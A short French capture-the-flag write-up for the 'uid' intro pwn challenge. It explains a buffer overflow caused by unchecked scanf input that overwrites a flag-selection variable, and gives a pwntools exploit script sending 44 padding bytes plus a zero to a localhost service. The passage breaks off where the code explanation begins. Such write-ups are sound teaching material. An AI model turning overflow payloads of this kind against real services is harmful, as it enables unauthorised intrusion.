Solution de iv3l pour uid

intro pwn x86/x64

6 mars 2025

Il y une vulnérabilité de débordement de tampon (buffer overflow) dans le binaire uid. Plus précisément, la fonction __isoc99_scanf est utilisée pour lire le nom d’utilisateur, et il n’y a pas de vérification de la taille de l’entrée. Cela permet à un attaquant de dépasser la taille du tampon v4 et d’écraser la variable v5, qui détermine si flag.txt ou flop.txt est affiché.

Voici le code Python qui exploite cette vulnérabilité :

from pwn import *

# Configuration
target = remote("localhost", 4000)

# Taille du tampon
buffer_size = 44

# Payload : Remplir le tampon et écraser v5 avec 0
payload = b"A" * buffer_size + p32(0)

# Envoyer le payload
target.recvuntil(b"username: ")
target.sendline(payload)

# Récupérer et afficher le flag
print(target.recvall().decode('latin-1'))

target.close()

Explication du code :

Création du payload :